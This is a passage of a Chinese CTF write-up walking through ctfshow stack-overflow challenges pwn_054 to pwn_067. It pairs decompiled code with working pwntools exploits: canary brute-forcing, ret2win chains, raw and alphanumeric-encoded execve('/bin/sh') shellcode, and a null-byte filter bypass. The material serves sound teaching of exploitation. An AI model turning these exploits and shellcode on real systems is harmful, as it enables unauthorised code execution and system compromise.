# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
flag_addr = elf.sym['flag']
ret_addr = rop.find_gadget(['ret'])[0]
offset = 0x30 + 0x04
canary = b''
for i in range(4):
for c in range(256):
sh = process('./pwn')
sh.sendlineafter(b'>',b'100000')
sh.sendafter(b"$ ",b"A" * 0x20 + canary + p8(c))
data = str(sh.recv())
log.info(f"data: {data}")
if "Canary Value Incorrect!" not in data:
canary += p8(c)
log.success(f"canary: {canary}")
break
else:
log.warning("no!")
sh.close()
log.success(f"canary ==========> {canary}")
sh = process('./pwn')
# gdb.attach(sh)
p = b"A" * 0x20
p += canary
p += p32(0) * 4
p += p32(flag_addr)
sh.sendlineafter(b">", b'1000000')
sh.sendafter(b'$ ',p)
sh.interactive()

pwn_054#

再近一点靠近点快被融化

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
char s_1[256]; // [esp+40h] [ebp-160h] BYREF
char s[64]; // [esp+140h] [ebp-60h] BYREF
FILE *stream; // [esp+180h] [ebp-20h]
char *v8; // [esp+184h] [ebp-1Ch]
int *p_argc; // [esp+194h] [ebp-Ch]
p_argc = &argc;
setvbuf(stdout, nullptr, 2, 0);
memset(s, 0, sizeof(s));
memset(s_1, 0, sizeof(s_1));
memset(s1, 0, sizeof(s1));
puts("==========CTFshow-LOGIN==========");
puts("Input your Username:");
fgets(s_1, 256, stdin);
v8 = strchr(s_1, 10);
if ( v8 )
*v8 = 0;
strcat(s_1, ",\nInput your Password.");
stream = fopen("/password.txt", "r");
if ( !stream )
{
puts("/password.txt: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Welcome ");
puts(s_1);
fgets(s1, 64, stdin);
s_1[0] = 0;
if ( !strcmp(s1, s) )
{
puts("Welcome! Here's what you want:");
flag();
}
else
{
puts("You has been banned!");
}
return 0;
}

漏洞点再puts函数处,puts函数的结束条件是结尾遇见\0,看栈空间:

0000000000000160 char var_160;
-000000000000015F // padding byte
-000000000000015E // padding byte
-000000000000015D // padding byte
......................................
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 _BYTE s;

可以看到,s_1距离s0x100个字节,也就是输入0x100个字节,让puts函数继续向下读到s,也就是password存储的数据,利用puts越界读.

image-20260417122347226

pwn_055#

你是我的谁,我的我是你的谁

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, nullptr, 2, 0);
logo(&argc);
puts("How to find flag?");
ctfshow();
return 0;
}
char *ctfshow()
{
char s[40]; // [esp+Ch] [ebp-2Ch] BYREF
printf("Input your flag: ");
return gets(s);
}
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 48, stream);
if ( flag1 && flag2 && a1 == -1111638595 )
return printf("%s", s);
if ( flag1 && flag2 )
return puts("Incorrect Argument.");
if ( flag1 || flag2 )
return puts("Nice Try!");
return puts("Flag is not here!");
}
Elf32_Dyn **__cdecl flag_func2(int a1)
{
Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax
_GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_;
if ( flag1 && a1 == -1397969748 )
{
flag2 = 1;
}
else if ( flag1 )
{
return (Elf32_Dyn **)puts("Try Again.");
}
else
{
return (Elf32_Dyn **)puts("Try a little bit.");
}
return _GLOBAL_OFFSET_TABLE;
}
Elf32_Dyn **flag_func1()
{
flag1 = 1;
return &GLOBAL_OFFSET_TABLE_;
}

首先溢出执行flag_func1,然后执行flag_func2并传入参数a1=-1397969748,最后再执行flag函数传入参数a1 = -1111638595

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
flag_addr = elf.sym['flag']
flag_func1_addr = elf.sym['flag_func1']
flag_func2_addr = elf.sym['flag_func2']
ret_addr = rop.find_gadget(['ret'])[0]
offset = 0x2C + 0x04
p = b"A" * offset
p += p32(flag_func1_addr)
p += p32(flag_func2_addr)
p += p32(flag_addr)
p += p32(-1397969748 & 0xffffffff)
p += p32(3183328701)
p += p32(ret_addr)
sh.sendline(p)
sh.interactive()

pwn_056#

先了解一下简单的32位shellcode吧

ida

text:08048060 public start
.text:08048060 start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 000 6A 68 push 68h ; 'h'
.text:08048062 004 68 2F 2F 2F 73 push 732F2F2Fh
.text:08048067 008 68 2F 62 69 6E push 6E69622Fh
.text:0804806C 00C 89 E3 mov ebx, esp ; file
.text:0804806E 00C 31 C9 xor ecx, ecx ; argv
.text:08048070 00C 31 D2 xor edx, edx ; envp
.text:08048072 00C 6A 0B push 0Bh
.text:08048074 010 58 pop eax
.text:08048075 00C CD 80 int 80h ; LINUX - sys_execve
.text:08048075
.text:08048075 start endp
.text:08048075
.text:08048075 _text ends
.text:08048075
extern:08048078 ; ===========================================================================
extern:08048078
extern:08048078 ; Segment type: Externs
extern:08048078 ; extern
extern:08048078 00 extrn _start
extern:08048078
extern:08048078
extern:08048078 end start

pwn_057#

先了解一下简单的64位shellcode吧

ida

.text:0000000000400080
.text:0000000000400080 public _start
.text:0000000000400080 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400080 000 50 push rax
.text:0000000000400081 008 48 31 D2 xor rdx, rdx
.text:0000000000400084 008 48 31 F6 xor rsi, rsi
.text:0000000000400087 008 48 BB 2F 62 69 6E 2F 2F 73 68 mov rbx, 68732F2F6E69622Fh
.text:0000000000400091 008 53 push rbx
.text:0000000000400092 010 54 push rsp
.text:0000000000400093 018 5F pop rdi
.text:0000000000400094 010 B0 3B mov al, 3Bh ; ';'
.text:0000000000400096 010 0F 05 syscall ; LINUX -
.text:0000000000400096
.text:0000000000400096 _start endp
.text:0000000000400096
.text:0000000000400096 _text ends
.text:0000000000400096
.text:0000000000400096
.text:0000000000400096 end _start

pwn_058#

32位 无限制

ida

.text:080486C5 0BC 83 C4 10 add esp, 10h
.text:080486C8 0AC 83 EC 0C sub esp, 0Ch
.text:080486CB 0B8 8D 85 60 FF FF FF lea eax, [ebp+s]
.text:080486D1 0B8 50 push eax ; s
.text:080486D2 0BC E8 3F FE FF FF call ctfshow
.text:080486D2
.text:080486D7 0BC 83 C4 10 add esp, 10h
.text:080486DA 0AC 8D 85 60 FF FF FF lea eax, [ebp+s]
.text:080486E0 0AC FF D0 call eax
int __cdecl ctfshow(char *s)
{
gets(s);
return puts(s);
}

写入数据后,会再次调用s中写入的数据

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
# handwrite
shellcode = asm("""
push 0x68
push 0x732F2F2F
push 0x6E69622F
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0x0B
pop eax
int 0x80
""")
# automatic
shellcode1 = asm(shellcraft.sh())
sh.sendline(shellcode)
sh.interactive()

pwn_059#

64位 无限制

exp

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
# handwrite
shellcode = asm("""
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, 0x68732F2F6E69622F
push rbx
push rsp
pop rdi
mov al, 0x3B
syscall
""")
# automatic
shellcode1 = asm(shellcraft.sh())
sh.sendline(shellcode)
sh.interactive()

pwn_060#

入门难度shellcode

ida反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("See you ~");
return 0;
}

checksec查保护: image-20260417162533693

没有开NX保护,所以我们可以写入shellcode,然后通过溢出执行这段shellcode,因为程序会将s复制到bss段上.

#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP(elf)
buf2_addr = elf.sym['buf2']
ret_addr = rop.find_gadget(['ret'])[0]
shellcode = asm(shellcraft.sh())
log.success(f"buf2_addr: {hex(buf2_addr)}")
p = shellcode.ljust(112, b'A')
log.success(f"p_len: {len(p)}")
p += p32(buf2_addr)
# gdb.attach(sh)
sh.sendlineafter(b"CTFshow-pwn can u pwn me here!!", p)
sh.interactive()

pwn_061#

输出了什么?

ida

int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stdout@@GLIBC_2.2.5; // rdi
_QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF
v5[0] = 0;
v5[1] = 0;
stdout@@GLIBC_2.2.5 = stdout;
setvbuf(stdout, nullptr, 1, 0);
logo(stdout@@GLIBC_2.2.5, 0);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}

给了gets函数和v5的地址,看看汇编:

.text:00000000000007FD ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:00000000000007FD public main
.text:00000000000007FD main proc near ; DATA XREF: _start+1D↑o
.text:00000000000007FD
.text:00000000000007FD var_10= qword ptr -10h
.text:00000000000007FD var_8= qword ptr -8
.text:00000000000007FD
.text:00000000000007FD ; __unwind {
.text:00000000000007FD 000 55 push rbp
.text:00000000000007FE 008 48 89 E5 mov rbp, rsp
.text:0000000000000801 008 48 83 EC 10 sub rsp, 10h
.text:0000000000000805 018 48 C7 45 F0 00 00 00 00 mov [rbp+var_10], 0
.text:000000000000080D 018 48 C7 45 F8 00 00 00 00 mov [rbp+var_8], 0
.text:0000000000000815 018 48 8B 05 2C 18 20 00 mov rax, cs:stdout@@GLIBC_2_2_5
.text:000000000000081C 018 B9 00 00 00 00 mov ecx, 0 ; n
.text:0000000000000821 018 BA 01 00 00 00 mov edx, 1 ; modes
.text:0000000000000826 018 BE 00 00 00 00 mov esi, 0 ; _QWORD
.text:000000000000082B 018 48 89 C7 mov rdi, rax ; stdout@@GLIBC_2.2.5
.text:000000000000082E 018 E8 FD FD FF FF call _setvbuf
.text:000000000000082E
.text:0000000000000833 018 B8 00 00 00 00 mov eax, 0
.text:0000000000000838 018 E8 1D FF FF FF call logo
.text:0000000000000838
.text:000000000000083D 018 48 8D 3D FB 05 00 00 lea rdi, aWelcomeToCtfsh ; "Welcome to CTFshow!"
.text:0000000000000844 018 E8 B7 FD FF FF call _puts
.text:0000000000000844
.text:0000000000000849 018 48 8D 45 F0 lea rax, [rbp+var_10]
.text:000000000000084D 018 48 89 C6 mov rsi, rax
.text:0000000000000850 018 48 8D 3D FC 05 00 00 lea rdi, format ; "What's this : [%p] ?\n"
.text:0000000000000857 018 B8 00 00 00 00 mov eax, 0
.text:000000000000085C 018 E8 AF FD FF FF call _printf
.text:000000000000085C
.text:0000000000000861 018 48 8D 3D 08 06 00 00 lea rdi, aMaybeItSUseful ; "Maybe it's useful ! But how to use it?"
.text:0000000000000868 018 E8 93 FD FF FF call _puts
.text:0000000000000868
.text:000000000000086D 018 48 8D 45 F0 lea rax, [rbp+var_10]
.text:0000000000000871 018 48 89 C7 mov rdi, rax
.text:0000000000000874 018 B8 00 00 00 00 mov eax, 0
.text:0000000000000879 018 E8 A2 FD FF FF call _gets
.text:0000000000000879
.text:000000000000087E 018 B8 00 00 00 00 mov eax, 0
.text:0000000000000883 018 C9 leave
.text:0000000000000884 000 C3 retn

考点在于shellcode的地址应该在哪里,汇编中我们看到,执行完gets函数后,进行了leave的操作,也就是

exp:

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
sh.recvuntil(b"[")
v5_addr = int(sh.recvuntil(b"]", drop = True), 16)
log.success(f"v5_addr: {v5_addr}")
offset = 0x10 + 0x08
shellcode = asm(shellcraft.sh())
p = b"A" * offset
p += p64(v5_addr + offset + 0x08)
p += shellcode
sh.sendline(p)
sh.interactive()

pwn_062#

短了一点#

ida

int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stdout@@GLIBC_2.2.5; // rdi
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0;
buf[1] = 0;
stdout@@GLIBC_2.2.5 = stdout;
setvbuf(stdout, nullptr, 1, 0);
logo(stdout@@GLIBC_2.2.5, 0);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x38u);
return 0;
}
.text:00000000000007FD 000 55 push rbp
.text:00000000000007FE 008 48 89 E5 mov rbp, rsp
.text:0000000000000801 008 48 83 EC 10 sub rsp, 10h
.text:0000000000000805 018 48 C7 45 F0 00 00 00 00 mov [rbp+buf], 0
.text:000000000000080D 018 48 C7 45 F8 00 00 00 00 mov [rbp+var_8], 0
.text:0000000000000815 018 48 8B 05 2C 18 20 00 mov rax, cs:stdout@@GLIBC_2_2_5
.text:000000000000081C 018 B9 00 00 00 00 mov ecx, 0 ; n
.text:0000000000000821 018 BA 01 00 00 00 mov edx, 1 ; modes
.text:0000000000000826 018 BE 00 00 00 00 mov esi, 0 ; _QWORD
.text:000000000000082B 018 48 89 C7 mov rdi, rax ; stdout@@GLIBC_2.2.5
.text:000000000000082E 018 E8 FD FD FF FF call _setvbuf
.text:000000000000082E
.text:0000000000000833 018 B8 00 00 00 00 mov eax, 0
.text:0000000000000838 018 E8 1D FF FF FF call logo
.text:0000000000000838
.text:000000000000083D 018 48 8D 3D FB 05 00 00 lea rdi, aWelcomeToCtfsh ; "Welcome to CTFshow!"
.text:0000000000000844 018 E8 B7 FD FF FF call _puts
.text:0000000000000844
.text:0000000000000849 018 48 8D 45 F0 lea rax, [rbp+buf]
.text:000000000000084D 018 48 89 C6 mov rsi, rax
.text:0000000000000850 018 48 8D 3D FC 05 00 00 lea rdi, format ; "What's this : [%p] ?\n"
.text:0000000000000857 018 B8 00 00 00 00 mov eax, 0
.text:000000000000085C 018 E8 AF FD FF FF call _printf
.text:000000000000085C
.text:0000000000000861 018 48 8D 3D 08 06 00 00 lea rdi, aMaybeItSUseful ; "Maybe it's useful ! But how to use it?"
.text:0000000000000868 018 E8 93 FD FF FF call _puts
.text:0000000000000868
.text:000000000000086D 018 48 8D 45 F0 lea rax, [rbp+buf]
.text:0000000000000871 018 BA 38 00 00 00 mov edx, 38h ; '8' ; nbytes
.text:0000000000000876 018 48 89 C6 mov rsi, rax ; buf
.text:0000000000000879 018 BF 00 00 00 00 mov edi, 0 ; fd
.text:000000000000087E 018 E8 9D FD FF FF call _read
.text:000000000000087E
.text:0000000000000883 018 B8 00 00 00 00 mov eax, 0
.text:0000000000000888 018 C9 leave
.text:0000000000000889 000 C3 retn

限制了读入的长度,需要编写短shellcode

exp

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
# gdb.attach(sh)
sh.recvuntil(b"[")
v5_addr = int(sh.recvuntil(b"]", drop = True), 16)
log.success(f"v5_addr: {v5_addr}")
offset = 0x10 + 0x08
# shellcode = asm(shellcraft.sh())
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p = b"A" * offset
p += p64(v5_addr + offset + 0x08)
p += shellcode
sh.sendline(p)
sh.interactive()

pwn_063#

又短了一点#

ida

int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stdout@@GLIBC_2.2.5; // rdi
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0;
buf[1] = 0;
stdout@@GLIBC_2.2.5 = stdout;
setvbuf(stdout, nullptr, 1, 0);
logo(stdout@@GLIBC_2.2.5, 0);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x37u);
return 0;
}

exp

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
# gdb.attach(sh)
sh.recvuntil(b"[")
v5_addr = int(sh.recvuntil(b"]", drop = True), 16)
log.success(f"v5_addr: {v5_addr}")
offset = 0x10 + 0x08
# shellcode = asm(shellcraft.sh())
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p = b"A" * offset
p += p64(v5_addr + offset + 0x08)
p += shellcode
sh.sendline(p)
sh.interactive()

pwn_064#

有时候开启某种保护并不代表这条路不通#

开保护了,先checksec一下: image-20260419160507943

32位程序,开启了NX堆栈不可执行保护,ida反编译一下看看:

int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]
buf = mmap(nullptr, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stderr, nullptr, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}

mmap()函数创建了0x400大小的可读可写可执行的内存区域,然后读入最大0x400大小的数据,最后调用它.

exp

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
shellcode = asm(shellcraft.sh())
# 32位短shellcode
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
# 位短shellcode
# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
sh.sendline(shellcode)
sh.interactive()

pwn_065#

你是一个好人#

查保护:

image-20260419161756528

64位程序,开启了PIE地址随机保护

ida无法反汇编,通过注释掉来进行反汇编:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[1032]; // [rsp+0h] [rbp-410h] BYREF
int i_1; // [rsp+408h] [rbp-8h]
int i; // [rsp+40Ch] [rbp-4h]
write(1, "Input you Shellcode\n", 0x14u);
i_1 = read(0, buf, 0x400u);
if ( i_1 <= 0 )
return 0;
for ( i = 0; i < i_1; ++i )
{
if ( ((char)buf[i] <= 96 || (char)buf[i] > 122)
&& ((char)buf[i] <= 64 || (char)buf[i] > 90)
&& ((char)buf[i] <= 47 || (char)buf[i] > 90) )
{
printf("Good,but not right");
return 0;
}
}
return 0;
}

exp

#!/usr/bin/env python3
from pwn import *
from ae64 import AE64
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
# shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
# shellcode = asm(shellcraft.sh())
# 32位短shellcode
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
# 位短shellcode
# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
with open("./shellcode_bin", "rb") as f:
shellcode = f.read()
encoder = AE64()
alpha_shellcode = encoder.encode(shellcode)
log.success(f"alpha_shellcode: {alpha_shellcode}")
sh.send(alpha_shellcode)
sh.interactive()

pwn_066#

简单的shellcode?不对劲,十分得有十二分的不对劲#

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
logo();
buf = mmap(nullptr, 0x1000u, 7, 34, 0, 0);
puts("Your shellcode is :");
read(0, buf, 0x200u);
if ( !(unsigned int)check(buf) )
{
printf(" ERROR !");
exit(0);
}
((void (__fastcall *)(void *))buf)(buf);
return 0;
}
__int64 __fastcall check(char *buf)
{
_BYTE *i; // [rsp+18h] [rbp-10h]
while ( *buf )
{
for ( i = &unk_400F20; *i && *i != *buf; ++i )
;
if ( !*i )
return 0;
++buf;
}
return 1;
}

利用\x00跳过检查,再加一个\xc0或者\x42

#!/usr/bin/env python3
from pwn import *
from ae64 import AE64
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
# shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
shellcode = asm(shellcraft.sh())
# 32位短shellcode
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
# 位短shellcode
# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
# with open("./shellcode_bin", "wb") as f:
# f.write(shellcode)
# with open("./shellcode_bin", "rb") as f:
# shellcode = f.read()
# encoder = AE64()
# alpha_shellcode = encoder.encode(shellcode)
# log.success(f"alpha_shellcode: {alpha_shellcode}")
p = b'\x00\xc0'
p += shellcode
sh.send(p)
sh.interactive()

pwn_067#

32bit nop sled

[学习篇 | ctfshow] pwn入门-栈溢出
https://blog.ne0xsec.cn/posts/pwn-introduction-stack-overflow/
作者
序章
发布于
2026-04-10
许可协议
CC BY-NC-SA 4.0

分享文章

生成精美分享图或复制链接,与更多人分享本文。

继续阅读

沿着主题读

基于共同的标签与分类

换条路线

从其他文章中稳定抽取

评论

正在加载评论...

最后更新于 ,距今已过 162

部分内容可能已过时